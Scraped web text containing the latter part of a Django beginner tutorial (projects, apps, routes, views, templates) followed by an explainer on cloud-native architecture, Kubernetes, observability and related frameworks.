<p class="wp-block-paragraph">Next, install Django in your chosen virtual environment via Python’s <code>pip</code> utility:</p>



<pre class="wp-block-code"><code>pip install django</code></pre>



<p class="wp-block-paragraph">This installs the core Django libraries and the <code>django-admin</code> command-line utility used to manage Django projects.</p>



<h2 class="wp-block-heading">Creating a new Django project</h2>



<p class="wp-block-paragraph">Django instances are organized into two tiers: <em>projects</em> and <em>apps</em>.</p>



<ul class="wp-block-list">
<li>A <em>project</em> is an instance of Django with its own database configuration, settings, and apps. It’s best to think of a project as a place to store all the site-level configurations you’ll use.</li>



<li>An <em>app</em> is a subdivision of a project, with its own route and rendering logic. Multiple apps can be placed in a single Django project.</li>
</ul>



<p class="wp-block-paragraph">To create a new Django project from scratch, activate the virtual environment where you have Django installed. Then enter the directory where you want to store the project and type:</p>



<pre class="wp-block-code"><code>django-admin startproject </code></pre>



<p class="wp-block-paragraph">The <code></code> is the name of both the project and the subdirectory where the project will be stored. Be sure to pick a name that isn’t likely to collide with a name used by Python or Django internally. A name like <code>myproj</code> works well.</p>



<p class="wp-block-paragraph">The newly created directory should contain a <code>manage.py</code> file, which is used to control the app’s behavior from the command line, along with another subdirectory (also with the project name) that contains the following files:</p>



<ul class="wp-block-list">
<li>An <code>__init__.py</code> file, which is used by Python to designate a subdirectory as a code module.</li>



<li><code>settings.py</code>, which holds the settings used for the project. Many of the most common settings will be pre-populated for you.</li>



<li><code>urls.py</code>, which lists the routes or URLs available to your Django project, or that the project will return responses for.</li>



<li><code>wsgi.py</code>, which is used by WSGI-compatible web servers, such as Apache HTTP or Nginx, to <a href="https://docs.djangoproject.com/en/6.0/howto/deployment/wsgi">serve your project’s apps</a>.</li>



<li><code>asgi.py</code>, which is used by ASGI-compatible web servers to serve your project’s apps. <a href="https://www.infoworld.com/article/2335107/asgi-explained-the-future-of-python-web-development.html">ASGI</a> is a relatively new standard for asynchronous servers and applications, and requires a server that supports it, like <code>uvicorn</code>. Django only recently added native support for asynchronous applications, which will also need to be <a href="https://docs.djangoproject.com/en/6.0/howto/deployment/asgi">hosted on an async-compatible server</a> to be fully effective.</li>
</ul>



<p class="wp-block-paragraph">Next, test the project to ensure it’s functioning. From the command line in the directory containing your project’s <code>manage.py</code> file, enter:</p>



<pre class="wp-block-code"><code>python manage.py runserver</code></pre>



<p class="wp-block-paragraph">This should start a development web server available at <code>http://127.0.0.1:8000/</code>. Visit that link and you should see a simple welcome page that tells you the installation was successful.</p>



<p class="wp-block-paragraph">Note that the development web server should <em>not</em> be used to serve a Django project to the public. It’s solely for local testing and is not designed to scale for public-facing applications.</p>



<h2 class="wp-block-heading">Creating a Django application</h2>



<p class="wp-block-paragraph">Next, we’ll create an application inside of this project. Navigate to the same directory as <code>manage.py</code> and issue the following command:</p>



<pre class="wp-block-code"><code>python manage.py startapp myapp</code></pre>



<p class="wp-block-paragraph">This creates a subdirectory for an application named <code>myapp</code> that contains the following:</p>



<ul class="wp-block-list">
<li>A migrations directory: Contains code used to <a href="https://docs.djangoproject.com/en/6.0/topics/migrations">migrate the site</a> between versions of its data schema. Django projects typically have a database, so the schema for the database—including changes to the schema—is managed as part of the project.</li>



<li><code>admin.py</code>: Contains objects used by Django’s <a href="https://docs.djangoproject.com/en/6.0/ref/contrib/admin">built-in administration tools</a>. If your app has an admin interface or privileged users, you will configure the related objects here.</li>



<li><code>apps.py</code>: Provides <a href="https://docs.djangoproject.com/en/6.0/ref/applications/">configuration information about the app</a> to the project at large, by way of an <code>AppConfig</code> object.</li>



<li><code>models.py</code>: Contains <a href="https://docs.djangoproject.com/en/6.0/topics/db/models">objects that define data structures</a>, used by your app to interface with databases.</li>



<li><code>tests.py</code>: Contains any <a href="https://docs.djangoproject.com/en/6.0/intro/tutorial05">tests</a> created by you and used to ensure that your site’s functions and modules are working as intended.</li>



<li><code>views.py</code>: Contains functions that <a href="https://docs.djangoproject.com/en/6.0/#the-view-layer">render and return responses</a>.</li>
</ul>



<p class="wp-block-paragraph">To start working with the application, you need to first register it with the project. Edit <code>myproj/settings.py</code> as follows, adding a line to the top of the <code>INSTALLED_APPS</code> list:</p>



<pre class="wp-block-code"><code>
INSTALLED_APPS = [
    "myapp.apps.MyappConfig",
    "django.contrib.admin",
    ...
</code></pre>



<p class="wp-block-paragraph">If you look in <code>myproj/myapp/apps.py</code>, you’ll see a pre-generated object named <code>MyappConfig</code>, which we’ve referenced here.</p>



<h2 class="wp-block-heading">Adding routes and views to your Django application</h2>



<p class="wp-block-paragraph">Django applications follow a basic pattern for processing requests:</p>



<ul class="wp-block-list">
<li>When an incoming request is received, Django parses the URL for a <em>route</em> to apply it to.</li>



<li>Routes are defined in <code>urls.py</code>, with each route linked to a <em>view</em>, meaning a function that returns data to be sent back to the client. Views can be located anywhere in a Django project, but they’re best organized into their own modules.</li>



<li>Views can contain the results of a <em>template</em>, which is code that formats requested data according to a certain design.</li>
</ul>



<p class="wp-block-paragraph">To get an idea of how all these pieces fit together, let’s modify the default route of our sample application to return a custom message.</p>



<p class="wp-block-paragraph">Routes are defined in <code>urls.py</code>, in a list named <code>urlpatterns</code>. If you open the sample <code>urls.py</code>, you’ll see <code>urlpatterns</code> already predefined:</p>



<pre class="wp-block-code"><code>
urlpatterns = [
    path('admin/', admin.site.urls),
]
</code></pre>



<p class="wp-block-paragraph">The <code>path</code> function (a Django built-in) takes a route and a view function as arguments and generates a reference to a URL path. By default, Django creates an <code>admin</code> path that is used for site administration, but we need to create our own routes.</p>



<p class="wp-block-paragraph">Add another entry, so that the whole file looks like this:</p>



<pre class="wp-block-code"><code>
from django.contrib import admin
from django.urls import include, path

urlpatterns = [
    path('admin/', admin.site.urls),
    path('myapp/', include('myapp.urls'))
]
</code></pre>



<p class="wp-block-paragraph">The <code>include</code> function tells Django to look for more route pattern information in the file <code>myapp.urls</code>. All routes found in that file will be attached to the top-level route <code>myapp</code> (e.g., <code>http://127.0.0.1:8080/myapp</code>).</p>



<p class="wp-block-paragraph">Next, create a new <code>urls.py</code> in <code>myapp</code> and add the following:</p>



<pre class="wp-block-code"><code>
from django.urls import path
from . import views

urlpatterns = [
    path('', views.index)
]</code></pre>



<p class="wp-block-paragraph">Django prepends a slash to the beginning of each URL, so to specify the root of the site (<code>/</code>), we just supply a blank string as the URL.</p>



<p class="wp-block-paragraph">Now, edit the file <code>myapp/views.py</code> so it looks like this:</p>



<pre class="wp-block-code"><code>
from django.http import HttpResponse

def index(request):
    return HttpResponse("Hello, world!")
</code></pre>



<p class="wp-block-paragraph"><code>django.http.HttpResponse</code> is a Django built-in that generates an HTTP response from a supplied string. Note that <code>request</code>, which contains the information for an incoming HTTP request, must be passed as the first parameter to a view function.</p>



<p class="wp-block-paragraph">Stop and restart the development server, and navigate to <code>http://127.0.0.1:8000/myapp/</code>. You should see “”Hello, world!” appear in the browser.</p>



<h2 class="wp-block-heading">Adding routes with variables in Django</h2>



<p class="wp-block-paragraph">Django can accept routes that incorporate variables as part of their syntax. Let’s say you wanted to accept URLs that had the format <code>year/</code>. You could accomplish that by adding the following entry to <code>urlpatterns</code>:</p>



<pre class="wp-block-code"><code>path(‘year/’, views.year)</code></pre>



<p class="wp-block-paragraph">The view function <code>views.year</code> would then be invoked through routes like <code>year/1996</code>, <code>year/2010</code>, and so on, with the variable year passed as a parameter to <code>views.year</code>.</p>



<p class="wp-block-paragraph">To try this out for yourself, add the above <code>urlpatterns</code> entry to <code>myapp/urls.py</code>, then add this function to <code>myapp/views.py</code>:</p>



<pre class="wp-block-code"><code>
def year(request, year):
    return HttpResponse('Year: {}'.format(year))
    </code></pre>



<p class="wp-block-paragraph">If you navigate to <code>/myapp/year/2010</code> on your site, you should see <code>Year: 2010</code> displayed in response. Note that routes like <code>/myapp/year/rutabaga</code> will yield an error because the <code>int:</code> constraint on the variable year allows only an integer in that position. Many other <a href="https://docs.djangoproject.com/en/6.0/topics/http/urls">formatting options</a> are available for routes.</p>



<aside class="sidebar large">
<h3>Backward compatibility with older Django routes</h3>
<p>Earlier versions of Django had a more complex syntax for routes, which was difficult to parse. If you still need to add routes using the old syntax—for instance, for backward compatibility with an old Django project—you can use the <a href="https://docs.djangoproject.com/en/6.0/ref/urls/#django.urls.re_path">django.urls.re_path function</a>, which matches routes using regular expressions.</p>
</aside>




<h2 class="wp-block-heading">Django templates and template partials</h2>



<p class="wp-block-paragraph">You can use Django’s <a href="https://docs.djangoproject.com/en/6.0/ref/templates/language">built-in template language</a> to generate web pages from data.</p>



<p class="wp-block-paragraph">Templates used by Django apps are stored in a directory that is central to the project: <code>/templates//</code>. For our <code>myapp</code> project, the directory would be <code>myapp/templates/myapp/</code>. This directory structure may seem awkward, but allowing Django to look for templates in multiple places avoids name collisions between templates with the same name across multiple apps.</p>



<p class="wp-block-paragraph">In your <code>myapp/templates/myapp/</code> directory, create a file named <code>year.html</code> with the following content:</p>



<pre class="wp-block-code"><code>Year: {{year}}</code></pre>



<p class="wp-block-paragraph">Any value within double curly braces in a template is treated as a variable. Everything else is treated literally.</p>



<p class="wp-block-paragraph">Modify <code>myapp/views.py</code> to look like this:</p>



<pre class="wp-block-code"><code>
from django.shortcuts import render
from django.http import HttpResponse

def index(request):
    return HttpResponse("Hello, world!")

def year(request, year):
    data = {'year':year}
    return render(request, 'myapp/year.html', data)
</code></pre>



<p class="wp-block-paragraph">The <code>render</code> function—a Django “shortcut” (a combination of multiple built-ins for convenience)—takes the existing request object, looks for the template <code>myapp/year.html</code> in the list of available template locations, and passes the dictionary data to it as <em>context</em> for the template. The template uses the dictionary as a namespace for variables used in the template. In this case, the variable <code>{{year}}</code> in the template is replaced with the value for the key year in the dictionary data (that is, <code>data["year"]</code>).</p>



<p class="wp-block-paragraph">The amount of processing you can do on data within Django templates is intentionally limited. Django’s philosophy is to enforce the separation of presentation and business logic whenever possible. Thus, you can loop through an iterable object, and you can perform if/then/else tests, but modifying the data within a template is discouraged.</p>



<p class="wp-block-paragraph">For instance, you could encode a simple “if” test this way:</p>



<pre class="wp-block-code"><code>
{% if year &gt; 2000 %}
21st century year: {{year}}
{% else %}
Pre-21st century year: {{year}}
{% endif %}
</code></pre>



<p class="wp-block-paragraph">The <code>{%</code> and <code>%}</code> markers delimit blocks of code that can be executed in Django’s template language.</p>



<p class="wp-block-paragraph">If you want to use a more sophisticated template processing language, you can swap in something like <a href="https://pypi.org/project/Jinja2">Jinja2</a> or <a href="https://www.makotemplates.org/">Mako</a>. Django includes <a href="https://docs.djangoproject.com/en/6.0/topics/templates/#django.template.backends.jinja2.Jinja2">back-end integration for Jinja2</a>, but you can use any template language that returns a string—for instance, by returning that string in an <code>HttpResponse</code> object, as in the case of our “Hello, world!” route.</p>



<p class="wp-block-paragraph">In versions 6 and up, Django supports <a href="https://docs.djangoproject.com/en/6.0/ref/templates/language/#template-partials">template partials</a>, a way to create portions of a template that can be defined once and reused throughout a template. This lets you precompute a given value once over the course of a given template—such as a fancy display version of a user name—and re-use it without having to recompute it each time it’s displayed.</p>



<h2 class="wp-block-heading">Doing more with Django</h2>



<p class="wp-block-paragraph">What you’ve seen here covers only the most basic elements of a Django application. Django includes a great many other components for use in web projects. Here’s a quick overview:</p>



<ul class="wp-block-list">
<li><strong>Databases and data models</strong>: Django’s <a href="https://docs.djangoproject.com/en/6.0/topics/db">built-in ORM</a> lets you define data structures and relationships between them, as well as migration paths between versions of those structures.</li>



<li><strong>Forms</strong>: Django provides a consistent way for views to supply <a href="https://docs.djangoproject.com/en/6.0/topics/forms">input forms</a> to a user, retrieve data, normalize the results, and provide consistent error reporting. Django 6 added support for <a href="https://docs.djangoproject.com/en/6.0/topics/security/#security-csp">Content Security Policy</a>, a way to prevent submitted forms from being vulnerable to content injection or cross-site scripting (XSS) attacks.</li>



<li><strong>Security and utilities</strong>: Django includes <a href="https://docs.djangoproject.com/en/5.0/#common-web-application-tools">many built-in functions</a> for caching, logging, session handling, handling static files, and normalizing URLs. It also bundles tools for <a href="https://docs.djangoproject.com/en/5.0/#common-web-application-tools">common security needs</a> like using cryptographic certificates or guarding against cross-site forgery protection or clickjacking.</li>



<li><strong>Tasks</strong>: Django 6 added a native mechanisms for creating and managing long-running <a href="https://docs.djangoproject.com/en/6.0/topics/tasks">background tasks</a>, without holding up a response to the user. Note that Django only provides ways to set up and keep track of tasks; it doesn’t include the actual execution mechanism. The only included back ends for tasks are for testing, so you will either need to add a third-party solution or write your own using Django’s back-end task code as a base.</li>
</ul>
</div></div></div>
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<title><![CDATA[Cloud native explained: How to build scalable, resilient applications]]></title>
<description><![CDATA[What is cloud native? Cloud native defined



The term “cloud-native computing” encompasses the modern approach to building and running software applications that exploit the flexibility, scalability, and resilience of cloud computing. The phrase is a catch-all that encompasses not just the speci...]]></description>
<link>https://tsecurity.de/de/3665670/ai-nachrichten/cloud-native-explained-how-to-build-scalable-resilient-applications/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665670/ai-nachrichten/cloud-native-explained-how-to-build-scalable-resilient-applications/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:33 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<h2 class="wp-block-heading"><strong>What is cloud native? Cloud native defined</strong></h2>



<p class="wp-block-paragraph">The term “cloud-native computing” encompasses the modern approach to building and running software applications that exploit the flexibility, scalability, and resilience of cloud computing. The phrase is a catch-all that encompasses not just the specific architecture choices and environments used to build applications for the public cloud, but also the software engineering techniques and philosophies used by cloud developers.</p>



<p class="wp-block-paragraph">The <a href="https://www.cncf.io/">Cloud Native Computing Foundation</a> (CNCF) is an open source organization that hosts many important cloud-related projects and helps set the tone for the world of cloud development. The CNCF offers its own definition of cloud native:</p>



<p class="wp-block-paragraph"><em>Cloud native practices empower organizations to develop, build, and deploy workloads in computing environments (public, private, hybrid cloud) to meet their organizational needs at scale in a programmatic and repeatable manner. It is characterized by loosely coupled systems that interoperate in a manner that is secure, resilient, manageable, sustainable, and observable.</em></p>



<p class="wp-block-paragraph"><em>Cloud native technologies and architectures typically consist of some combination of containers, service meshes, multi-tenancy, microservices, immutable infrastructure, serverless, and declarative APIs — this list is not exhaustive.</em></p>



<p class="wp-block-paragraph">This definition is a good start, but as cloud infrastructure becomes ubiquitous, the cloud native world is beginning to spread behind the core of this definition. We’ll explore that evolution as well, and look into the near future of cloud-native computing.</p>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper youtube-video">

</div></figure>



<h2 class="wp-block-heading"><strong>Cloud native architectural principles</strong></h2>



<p class="wp-block-paragraph">Let’s start by exploring the pillars of cloud-native architecture. Many of these technologies and techniques were considered innovative and even revolutionary when they hit the market over the past few decades, but now have become widely accepted across the software development landscape.</p>



<p class="wp-block-paragraph"><strong>Microservices. </strong>One of the huge cultural shifts that made cloud-native computing possible was the move from huge, monolithic applications to <a href="https://www.infoworld.com/article/2263327/what-are-microservices-your-next-software-architecture.html">microservices</a>: small, loosely coupled, and independently deployable components that work together to form a cloud-native application. These microservices can be scaled across cloud environments, though (as we’ll see in a moment) this makes systems more complex.</p>



<p class="wp-block-paragraph"><strong>Containers and orchestration. </strong>In could-native architectures, individual microservices are executed inside <em>containers </em>— lightweight, portable virtual execution environments that can run on a variety of servers and cloud platforms. Containers insulate the developers from having to worry about the underlying machines on which their code will execute. That is, all they have to do is write to the container environment. </p>



<p class="wp-block-paragraph">Getting the containers to run properly and communicate with one another is where the complexity of cloud native computing starts to emerge. Initially, containers were created and managed by relatively simple platforms, the most common of which was <a href="https://www.infoworld.com/article/2253801/what-is-docker-the-spark-for-the-container-revolution.html">Docker</a>. But as cloud-native applications got more complex, container orchestration platforms<em> </em>that augmented Docker’s functionality emerged, such as Kubernetes, which allows you to deploy and manage multi-container applications at scale. Kubernetes is critical to cloud native computing as we know it — it’s worth noting that the CNCF was set up as a <a href="https://www.zdnet.com/article/cloud-native-computing-foundation-seeks-to-bring-more-cloud-and-container-unity/">spinoff of the Linux Foundation on the same day that Kubernetes 1.0 was announced</a> — and adhering to <a href="https://www.infoworld.com/article/2338688/6-best-practices-to-keep-kubernetes-costs-under-control.html">Kubernetes best practices</a> is an important key to cloud native success. </p>



<p class="wp-block-paragraph"><strong>Open standards and APIs. </strong>The fact that containers and cloud platforms are largely defined by open standards and <a href="https://www.infoworld.com/article/3800992/open-source-trends-for-2025-and-beyond.html">open source technologies</a> is the secret sauce that makes all this modularity and orchestration possible, and <a href="https://www.infoworld.com/article/3529600/how-do-you-govern-a-sprawling-disparate-api-portfolio.html">standardized and documented APIs </a>offer the means of communication between distributed components of a larger application. In theory, anyway, this standardization means that every component should be able to communicate with other components of an application without knowing about their inner workings, or about the inner workings of the various platform layers on which everything operates.</p>



<p class="wp-block-paragraph"><strong>DevOps, agile methodologies, and infrastructure as code. </strong>Because cloud-native applications exist as a series of small, discrete units of functionality, cloud-native teams can build and update them using agile philosophies like <a href="https://www.infoworld.com/article/2255028/what-is-devops-transforming-software-development.html">DevOps</a>, which promotes <a href="https://www.infoworld.com/article/2269266/what-is-cicd-continuous-integration-and-continuous-delivery-explained.html">rapid, iterative CI/CD development</a>. This enables teams to deliver business value more quickly and more reliably.</p>



<p class="wp-block-paragraph">The virtualized nature of cloud environments also make them great candidates for <a href="https://www.infoworld.com/article/2259359/what-is-infrastructure-as-code-automating-your-infrastructure-builds.html">infrastructure as code</a> (IaC), a practice in which teams use tools like <a href="https://developer.hashicorp.com/terraform/intro">Terraform</a>, <a href="https://www.pulumi.com/">Pulumi</a>, and <a href="https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/Welcome.html">AWS CloudFormation</a>, to manage infrastructure declaratively and version those declarations just like application code. IaC boosts automation, repeatability, and resilience across environments—all big advantages in the cloud world. IaC also goes hand-in-hand with the concept of <em>immutable infrastructure</em>—the idea that, once deployed, infastructure-level entities like virtual machines, containers, or network appliances don’t change, which makes them easier to manage and secure. IaC stores declarative configuration code in version control, which creates an audit log of any changes.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2025/04/5_things_cloud_native.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Chart listing five things to love and five things to fear when considiering cloud native" class="wp-image-3970036" width="1024" height="472" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>There’s a lot to love about cloud-native architectures, but there are also several things to be wary of when considering it.</p>
</figcaption></figure><p class="imageCredit">Foundry</p></div>



<h2 class="wp-block-heading"><strong>How the cloud-native stack is expanding</strong></h2>



<p class="wp-block-paragraph">As cloud-native development becomes the norm, the cloud-native ecosystem is expanding; the CNCF maintains a graphical representation of what it calls the  <a href="https://landscape.cncf.io/">cloud native landscape</a> that hammers home to expansive and bewildering variety of products, services, and open source projects that contribute to (and seek to profit from) to cloud-native computing. And there are a number of areas where new and developing tools are complicating the picture sketched out by the pillars we discussed above.   </p>



<p class="wp-block-paragraph"><strong>An expanding Kubernetes ecosystem.</strong> <a href="https://www.infoworld.com/article/2266945/what-is-kubernetes-scalable-cloud-native-applications.html">Kubernetes </a>is complex, and teams now rely on an <a href="https://www.infoworld.com/article/2265338/13-tools-that-make-kubernetes-better.html">entire ecosystem of projects </a>to get the most out of it: <a href="https://www.infoworld.com/article/2264445/helm-3-package-manager-arrives-for-kubernetes.html">Helm</a> for packaging, <a href="https://argo-cd.readthedocs.io/en/stable/">ArgoCD </a>for GitOps-style deployments, and <a href="https://kustomize.io/">Kustomize </a>for configuration management. And just as Kubernetes augmented Docker for enterprise-scale deployments. Kubernetes itself has been augmented and expanded by <a href="https://www.infoworld.com/article/2261159/what-is-a-service-mesh-easier-container-networking.html">service mesh</a> offerings like <a href="https://istio.io/">Istio </a>and <a href="https://linkerd.io/">Linkerd</a><strong>, </strong>which offer fine-grained traffic control and improved security</p>



<p class="wp-block-paragraph"><strong>Observability needs. </strong>The complex and distributed world of cloud-native computing requires in-depth <a href="https://www.infoworld.com/article/2262666/what-is-observability-software-monitoring-on-steroids.html">observability</a> to ensure that developers and admins have a handle on what’s happening with their applications. <a href="https://www.infoworld.com/article/2337343/what-observability-means-for-cloud-operations.html">Cloud-native observability</a> uses distributed tracing and aggregated logs to provide deep insight into performance and reliability. Tools like <a href="https://www.infoworld.com/article/2246709/prometheus-unbound-open-source-cloud-monitoring.html">Prometheus</a>, <a href="https://www.infoworld.com/article/2337267/grafana-shining-a-light-into-kubernetes-clusters.html">Grafana</a>, <a href="https://www.cncf.io/projects/jaeger/">Jaeger</a>, and <a href="https://opentelemetry.io/">OpenTelemetry</a> support comprehensive, real-time observability across the stack.</p>



<p class="wp-block-paragraph"><strong>Serverless computing.  </strong><a href="https://www.infoworld.com/article/2261831/what-is-serverless-serverless-computing-explained.html">Serverless computing</a>, particularly in its function-as-a-service guise, offers to strip needed compute resources down to their bare minimum, with functions running on service provider clouds using exactly as much as they need and no more. Because these services can be exposed as endpoints via APIs, they are increasingly integrated into distributed applications, operating side-by-side with functionality provided by containerized microservices. Watch out, though: the big FaaS providers (<a href="https://www.infoworld.com/article/2265860/aws-lambda-tutorial-get-started-with-serverless-computing.html">Amazon</a>, <a href="https://www.infoworld.com/article/2255377/how-to-work-with-azure-functions-in-csharp.html">Microsoft</a>, and <a href="https://www.infoworld.com/article/2243861/google-takes-aims-at-aws-lambda-with-cloud-functions.html">Google</a>) would love to lock you in to their ecosystems.  </p>



<p class="wp-block-paragraph"><strong>FinOps. </strong><a href="http://infoworld.com/article/2238873/what-is-cloud-computing.html">Cloud computing</a> was initially billed as a way to cut costs — no need to pay for an in-house data center that you barely use — but in practice it replaces capex with opex, and sometimes you can run up truly shocking cloud service bills if you aren’t careful. Serverless computing is one way to cut down on those costs, but financial operations, or <a href="https://www.cio.com/article/416337/what-is-finops-your-guide-to-cloud-cost-management.html">FinOps</a>, is a more systematic discipline that aims to aligns engineering, finance, and product to optimize cloud spending. <a href="https://www.infoworld.com/article/2338592/6-finops-best-practices-to-reduce-cloud-costs.html">FinOps best practices</a> make use of those observability tools to best determine what departments and applications are eating up resources.</p>



<h2 class="wp-block-heading"><strong>How cloud-native architecture is adapting to AI workloads</strong></h2>



<p class="wp-block-paragraph">Enterprises deploy larger AI models and make use of more and more real-time inference services. That’s putting demands on cloud-native systems and forcing them to adapt to remain scalable and reliable.</p>



<p class="wp-block-paragraph">For instance, organizations are <a href="https://www.infoworld.com/article/4057189/the-rise-of-ai-ready-private-clouds.html">re-engineering cloud environments</a> around GPU-accelerated clusters, low-latency networking, and predictable orchestration. These needs align with established cloud-native patterns: containers package AI services consistently, while Kubernetes provides resilient scheduling and horizontal scale for inference workloads that can spike without warning.</p>



<p class="wp-block-paragraph">Kubernetes itself is <a href="https://www.infoworld.com/article/4045563/evolving-kubernetes-for-generative-ai-inference.html">changing to better support AI inference</a>, adding hardware-aware scheduling for GPUs, model-specific autoscaling behavior, and deeper observability into inference pipelines. These enhancements make Kubernetes a more natural platform for serving generative AI workloads.</p>



<p class="wp-block-paragraph">AI’s resource demands are amplifying traditional cloud-native challenges. Observability becomes more complex as inference paths span GPUs, CPUs, vector databases, and distributed storage. <a href="https://www.cio.com/article/416337/what-is-finops-your-guide-to-cloud-cost-management.html">FinOps</a> teams contend with cost volatility from training and inference bursts. And security teams must track new risks around model provenance, data access, and supply-chain integrity.</p>



<h2 class="wp-block-heading"><strong>Application frameworks for building distributed cloud-native apps</strong></h2>



<p class="wp-block-paragraph">Microsoft’s Aspire is one of the most visible examples of a shift towards application frameworks to simplify how teams build distributed systems. Opinionated frameworks like Aspire provide structure, observability, and integration out of the box so developer don’t need to stitch together containers, microservices, and orchestration tooling by hand.</p>



<p class="wp-block-paragraph">Aspire in particular is a <a href="https://www.infoworld.com/article/4023638/taking-net-aspire-for-a-spin.html">prescriptive framework for cloud-native applications</a>, bundling containerized services, environment configuration, health checks, and observability into a unified development model. Aspire provides defaults for service-to-service communication, configuration, and deployment, along with a built-in dashboard for visibility across distributed components.</p>



<p class="wp-block-paragraph">While Aspire was originally aligned with Microsoft’s .<a href="https://www.infoworld.com/article/2264488/what-is-the-net-framework-microsofts-answer-to-java.html">NET platform</a>,Redmond now sees it as having a<strong>  </strong><a href="https://www.infoworld.com/article/4085051/aspires-polyglot-future.html?utm_source=chatgpt.com">polyglot future</a>. This positions Aspire as part of a broader trend: frameworks that help teams build cloud-native, service-oriented systems without being locked into a single language ecosystem. Several other frameworks are gaining traction: Dapr provides a portable runtime that abstracts many of the plumbing tasks in cloud-native distributed applications, and Orleans offers an actor-model-based framework for large-scale systems in the .NET world, and Akka gives JVM teams a mature, reactive toolkit for elastic, resilient services.</p>



<h2 class="wp-block-heading"><strong>Frameworks and tools in the expanding cloud-native ecosystem</strong></h2>



<p class="wp-block-paragraph">While frameworks like Aspire simplify how developers compose and structure distributed applications, most cloud-native systems still depend on a broader ecosystem of platforms and operational tooling. This deeper layer is where much of the complexity—and innovation—of cloud-native computing lives, particularly as Kubernetes continues to serve as the industry’s control plane for modern infrastructure.</p>



<p class="wp-block-paragraph">Kubernetes provides the core abstractions for deploying and orchestrating containerized workloads at scale. Managed distributions such as Google Kubernetes Engine (GKE), Amazon EKS, <a href="https://www.infoworld.com/article/4058764/smoother-kubernetes-sailing-with-aks-automatic.html">Azure AKS</a>, and Red Hat OpenShift build on these primitives with security, lifecycle automation, and enterprise support. Platform vendors are increasingly automating cluster operations—upgrades, scaling, remediation—to reduce the operational burden on engineering teams.</p>



<p class="wp-block-paragraph">Surrounding Kubernetes is a rapidly expanding ecosystem of complementary frameworks and tools. <a href="https://www.infoworld.com/article/2261159/what-is-a-service-mesh-easier-container-networking.html">Service meshes</a> like Istio and Linkerd provide fine-grained traffic management, policy enforcement, and mTLS-based security across microservices. <a href="https://www.infoworld.com/article/2259088/what-is-gitops-extending-devops-to-kubernetes-and-beyond.html">GitOps</a> platforms such as Argo CD and Flux bring declarative, version-controlled deployments to cloud-native environments. Meanwhile, projects like Crossplane turn Kubernetes into a universal control plane for cloud infrastructure, letting teams provision databases, queues, and storage through familiar Kubernetes APIs. These tools illustrate how cloud-native development now spans multiple layers: developer-focused application frameworks like Aspire at the top, and a powerful, evolving Kubernetes ecosystem underneath that keeps modern distributed applications running.</p>



<h2 class="wp-block-heading"><strong>Advantages and challenges for cloud-native development</strong></h2>



<p class="wp-block-paragraph">Cloud native has become so ubiquitous that its advantages are almost taken for granted at this point, but it’s worth reflecting on the beneficial shift the cloud native paradigm represents. Huge, monolithic codebases that saw updates rolled out once every couple of years have been replaced by microservice-based applications that can be improved continuously. Cloud-based deployments, when managed correctly, make better use of compute resources and allow companies to offer their products as SaaS or PaaS services. </p>



<p class="wp-block-paragraph">But <a href="https://www.infoworld.com/article/2337882/the-downsides-of-cloud-native-solutions.html">cloud-native deployments come with a number of challenges</a>, too:</p>



<ul class="wp-block-list">
<li><strong>Complexity and operational overhead: </strong>You’ll have noticed by now that many of the cloud-native tools we’ve discussed, like service meshes and observability tools, are needed to deal with the complexity of cloud-native applications and environments. Individual microservices are deceptively simple, but coordinating them all in a distributed environment is a big lift.</li>



<li><strong>Security: </strong>More services executing on more machines, communicating by open APIs, all adds up to a bigger attack surface for hackers. <a href="https://www.csoonline.com/article/572501/managing-container-vulnerability-risks-tools-and-best-practices.html">Containers</a> and <a href="https://www.csoonline.com/article/3618243/securing-cloud-native-applications-why-a-comprehensive-api-security-strategy-is-essential.html">APIs</a> each have their own special security needs, and a <a href="https://www.infoworld.com/article/2259477/open-policy-agent-a-general-purpose-policy-engine-for-cloud-native.html">policy engine</a> can be an important tool for imposing a security baseline on a sprawling cloud-native app. <a href="https://www.csoonline.com/article/564095/what-is-devsecops-developing-more-secure-applications.html">DevSecOps</a>, which adds security to DevOps, has become an important cloud-native development practice to try to close these gaps.</li>



<li><strong>Vendor lock-in: </strong>This may come as a surprise, since cloud-native is based on open standards and open source. But there are differences in how the big cloud and serverless providers works, and once you’ve written code with one provider in mind, <a href="https://www.infoworld.com/article/2337012/get-used-to-cloud-vendor-lock-in.html">it can be hard to migrate elsewhere</a>.</li>



<li><strong>A persistent skills gap: </strong>Cloud-native computing and development may have years under its belt at this point, but the number of developers who are truly skilled in this arena is a smaller portion of the workforce than you’d think. Companies <a href="https://www.infoworld.com/article/3484912/a-strategic-road-map-for-navigating-the-cloud-skills-shortage.html">face difficult choices in bridging this skills gap</a>, whether that’s bidding up salaries, working to upskill current workers, or allowing remote work so they can cast a wide net. </li>
</ul>



<h2 class="wp-block-heading">Cloud native in the real world</h2>



<p class="wp-block-paragraph">Cloud native computing is often associated with giants like Netflix, Spotify, Uber, and AirBNB, where many of its technologies were pioneered in the early ’10s. But the CNCF’s <a href="https://www.cncf.io/case-studies/">Case Studies page</a> provides an in-depth look at how cloud native technologies are helping companies. Examples include the following:</p>



<ul class="wp-block-list">
<li>A UK-based payment technology company that can <a href="https://www.cncf.io/case-studies/form3/">switch between data centers and clouds</a> with zero downtime</li>



<li>A software company whose product collects and analyzes data from IoT devices — and can <a href="https://www.cncf.io/case-studies/tempestive/">scale up</a> as the number of gadgets grows</li>



<li>A Czech web service company that managed to <a href="https://www.cncf.io/case-studies/seznam/">improve performance while reducing costs</a> by migrating to the cloud</li>
</ul>



